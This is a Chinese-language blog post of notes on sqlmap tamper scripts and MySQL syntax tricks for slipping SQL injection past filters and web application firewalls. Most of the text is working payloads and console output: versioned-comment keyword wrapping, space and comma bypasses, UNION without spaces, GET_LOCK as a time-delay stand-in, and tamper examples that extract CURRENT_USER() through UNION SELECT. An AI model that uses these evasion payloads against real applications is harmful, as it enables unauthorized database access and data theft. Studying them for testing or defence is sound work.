SQLMAP-tamper的寻迹与发现
对tamper的各种绕过可以参考这个文章: sqlmap的tamper详解
对sqlmap框架目录的学习可以参考: SqlMap文件结构介绍
几个常用的简单记录
binary
参数指定字符串可以解决字符串比较忽略大小写的问题
COALESCE
函数可以说是新的if
和when...case
的替代语句了(感觉最大的收获就是这个了…)
mysql> select COALESCE((select host from mysql.user where user='root' and 0),1,2);
---------------------------------------------------------------------
| COALESCE((select host from mysql.user where user='root' and 0),1,2) |
---------------------------------------------------------------------
| 1 |
---------------------------------------------------------------------
1 row in set (0.00 sec)
mysql> select COALESCE((select host from mysql.user where user='root' and 1),1,2);
---------------------------------------------------------------------
| COALESCE((select host from mysql.user where user='root' and 1),1,2) |
---------------------------------------------------------------------
| localhost |
---------------------------------------------------------------------
1 row in set (0.00 sec)
mysql> select COALESCE((select host from mysql.user where 1),1,2);
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select COALESCE((select host from mysql.user where 0),1,2);
-----------------------------------------------------
| COALESCE((select host from mysql.user where 0),1,2) |
-----------------------------------------------------
| 1 |
-----------------------------------------------------
1 row in set (0.00 sec)
一个新的注释/*!30963AND 2>1*/
,里面的and 2>1
语句正常生效,详细见modsecurityversioned.py
字段名可以使用字符的方式
空格绕过方法
代码语言:javascript复制字符单双引号和字段名使用间隔绕过
()
n,t.....一系列换页等操作符,参考space2mssqlblank.py
注释绕过:
/**不起作用的杂数据**/ => select /**xxxxx**/host from user;
/*!where xxx ...*/ => select /*!host from user*/;
/*!5或以上位数字sql语句*/ => select /*!00000host from user*/;
--空格 => select host from user-- xxx;
#换行 => select host from user#xxx
注意:/*!5位数字
的绕过方式是需要注意的,取00000
的时候就是里面的语句正常发挥作用,取99999
的时候就是忽略语句里面的内容直接拼接后面的语句执行,大概就是取的数值比较小的时候里面的语句正常发挥作用,较大的时候就会忽略里面的数据, 这个临界值的大小与版本有关,例如使用mysql5.7.26
的时候对应的数值就是50726
,数值<=50726的时候就是正常执行里面的语句,但是到了50727
的时候里面的语句就当做注释失效了
有点意思但感觉没啥用的trick
get_lock
函数可以通过在一个会话(记为session1
)执行get_lock('lock1',10)
申请一个名为lock1
的锁,第二个参数表示申请这个锁的最大申请等待时间, 这个锁在当前的会话有用, 不能被其他的会话申请使用, 所以当lock1
这个锁被另一个会话(记为session2
)申请使用, 所以我们可以通过条件竞争的方式,
- 先开启一个(或多个)线程疯狂申请一个名为
h0cksr
的锁 - 然后我们在注入的过程中在满足一定条件的时候就可以通过执行
get_lock('h0cksr',10)
申请名为h0cksr
的锁, 并且最大申请时间为10s
,因为这个锁已经被我们在之前开启的线程疯狂申请了,所以这里会因为申请失败而延时10s
,从而产生sleep(10)
的效果 实现难点: 如果想要真的实现延时,那么就需要保持一开始的线程始终保持占用h0cksr
这个锁长达10s
,否则这个锁一旦释放那么注入的时候就不会继续延时,我在测试之后发现执行一千万次的get_lock('h0cksr',10)
也只需要0.78秒,然而我们一般是没有那么长的执行数据的,否则直接通过多次复制之后注入执行也和benchmark
一样了 所以很鸡肋….除非可以获得一个能长期维持的会话才有实现的可能,而且在mysql8.x中get_lock不能再使用
NULLIF(expr1, expr2)
比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1 ,例如SELECT NULLIF(25, 25);
IFNULL(v1,v2)
如果 v1 的值不为 NULL,则返回 v1,否则返回 v2,例如SELECT IFNULL(null,’Hello Word’)
select 2-.1UNION ALL SELECT 2;
可以在union
的前面加个.1
表示2-0.1
小数从而union
前面不需要空格
select 1e0UNION SELECT 2;
下面还有一堆相关的畸形语句
select column_name from table_name
的后面可以添加一个垃圾字符串数据,并不会语句的执行,但是不能有空格间隔,也不能有单双引号,以及where等其他关键字语句,只能是一个垃圾字符串
mysql> select host from mysql.user xxx;
-----------
| host |
-----------
| localhost |
| localhost |
| localhost |
-----------
3 rows in set (0.00 sec)
mysql> select host from mysql.user xxx';
'> ';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '';
'' at line 1
mysql> select host from mysql.user xxx yyy;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'yyy' at line 1
mysql> select host from mysql.user 'aa';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''aa'' at line 1
tamper中见到的一些平时常用的替代参考
between.py => between替代>
代码语言:javascript复制 >>> tamper('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
>>> tamper('1 AND A = B--')
'1 AND A BETWEEN B AND B--'
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
binary.py => binary避免字母比对大小写忽略
代码语言:javascript复制 >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
'1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
>>> tamper('1 AND 2>1')
'1 AND binary 2>binary 1'
>>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
这个很有用,使用binary
之后就可以避免字符串比大小的时候忽略大小写的毛病了
commalesslimit.py => limit不使用逗号
代码语言:javascript复制 >>> tamper('LIMIT 2, 3')
'LIMIT 3 OFFSET 2'
commalessmid.py => 逗号过滤的字母切割
代码语言:javascript复制 >>> tamper('MID(VERSION(), 1, 1)')
'MID(VERSION() FROM 1 FOR 1)'
"""
greatest.py => greatest替代>
代码语言:javascript复制 >>> tamper('1 AND A > B')
'1 AND GREATEST(A,B 1)=A'
"""
halfversionedmorekeywords.py => /*!0
代码语言:javascript复制 Requirement:
* MySQL < 5.1
>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
"""
hex2char.py => char函数获取字符串
代码语言:javascript复制>>> tamper('SELECT 0xdeadbeef')
'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))'
"""
ifnull2casewhenisnull.py => ifnull的替代(很鸡肋)
ifnull => 如果 v1 的值不为 NULL,则返回 v1,否则返回 v2
感觉这个有点鸡肋,一般过滤了if的话这个自然就不能用了
代码语言:javascript复制 >>> tamper('IFNULL(1, 2)')
'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END'
"""
least.py => least替代>
代码语言:javascript复制>>> tamper('1 AND A > B')
'1 AND LEAST(A,B 1)=B 1'
"""
misunion.py => union前面的奇奇怪怪
代码语言:javascript复制>>> tamper('1 UNION ALL SELECT')
'1-.1UNION ALL SELECT'
>>> tamper('1" UNION ALL SELECT')
'1"-.1UNION ALL SELECT'
"""
modsecurityversioned.py => /*!30963版本注释
代码语言:javascript复制mysql> select 11/*!30963AND 2>2*/--;
-----------
| 11AND 2>2 |
-----------
| 0 |
-----------
1 row in set (0.00 sec)
代码语言:javascript复制 >>> import random
>>> random.seed(0)
>>> tamper('1 AND 2>1--')
'1 /*!30963AND 2>1*/--'
"""
除了/*!30963
和下面的/*!00000
之外
modsecurityzeroversioned.py => /*!00000版本注释
代码语言:javascript复制>>> tamper('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
"""
sleep2getlock.py => get_lock替代sleep函数
代码语言:javascript复制 >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName
True
space2mssqlblank.py => 一些空格绕过的替代字符
这个代码中有说明是用于mssql的,但是对mysql也是很有参考性的
代码语言:javascript复制 >>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT
id
FROMusers'
"""
# ASCII table:
# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
blanks = ('', '', '', '', '', '', '', '', ' ', '', '', '
', '', '', '
')
versionedmorekeywords.py => /*!sqlcommand*/注释
代码语言:javascript复制 >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
"""
畸形语句的构造
下面的语句来自https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
但是感觉好像并没有太多的用处,这些语句主要就是可以在指定select的字段名的时候将要搜索的字段名放在一些让人看着很奇怪的地方,并且可以使用在比如指定字段某个表的字段user.host
或者指定搜索的表的时候的mysq.user
,可以在指定字段的表名与字段名之间,或者在库名和表名之间,参入一些指定
mysql> select 1.UNION SELECT 2;
----
| 1. |
----
| 1 |
| 2 |
----
2 rows in set (0.00 sec)
mysql> select .2UNION SELECT 2;
-----
| .2 |
-----
| 0.2 |
| 2.0 |
-----
2 rows in set (0.00 sec)
mysql> select 1e0UNION SELECT 2;
-----
| 1e0 |
-----
| 1 |
| 2 |
-----
2 rows in set (0.00 sec)
mysql> SELECTN/0.e3UNION SELECT 2;
---------
| N/0.e3 |
---------
| NULL |
| 2 |
---------
2 rows in set, 1 warning (0.00 sec)
mysql> select 1e1AND-0.0UNION SELECT 2;
------------
| 1e1AND-0.0 |
------------
| 0 |
| 2 |
------------
2 rows in set (0.00 sec)
mysql> select 1/*!12345UNION/*!31337SELECT/*!host*/from user;
-----------
| 1 |
-----------
| 1 |
| localhost |
-----------
2 rows in set (0.00 sec)
mysql> select {ts host} from user;
-----------
| host |
-----------
| localhost |
| localhost |
| localhost |
-----------
3 rows in set (0.00 sec)
mysql> SELECT.`` 1.e.host from user;
-----------
| host |
-----------
| localhost |
| localhost |
| localhost |
-----------
3 rows in set, 1 warning (0.00 sec)
mysql> SELECT{_ .``1.e.host} from user;
-----------
| host |
-----------
| localhost |
| localhost |
| localhost |
-----------
3 rows in set, 1 warning (0.00 sec)
mysql> SELECT{_ .`user`1.e.host} from user;
-----------
| host |
-----------
| localhost |
| localhost |
| localhost |
-----------
3 rows in set, 1 warning (0.00 sec)
mysql> SELECT{_`user`1.e.host} from user;
-----------
| host |
-----------
| localhost |
| localhost |
| localhost |
-----------
3 rows in set, 1 warning (0.00 sec)
mysql> SELECT{_``1.e.host} from user;
-----------
| host |
-----------
| localhost |
| localhost |
| localhost |
-----------
3 rows in set, 1 warning (0.00 sec)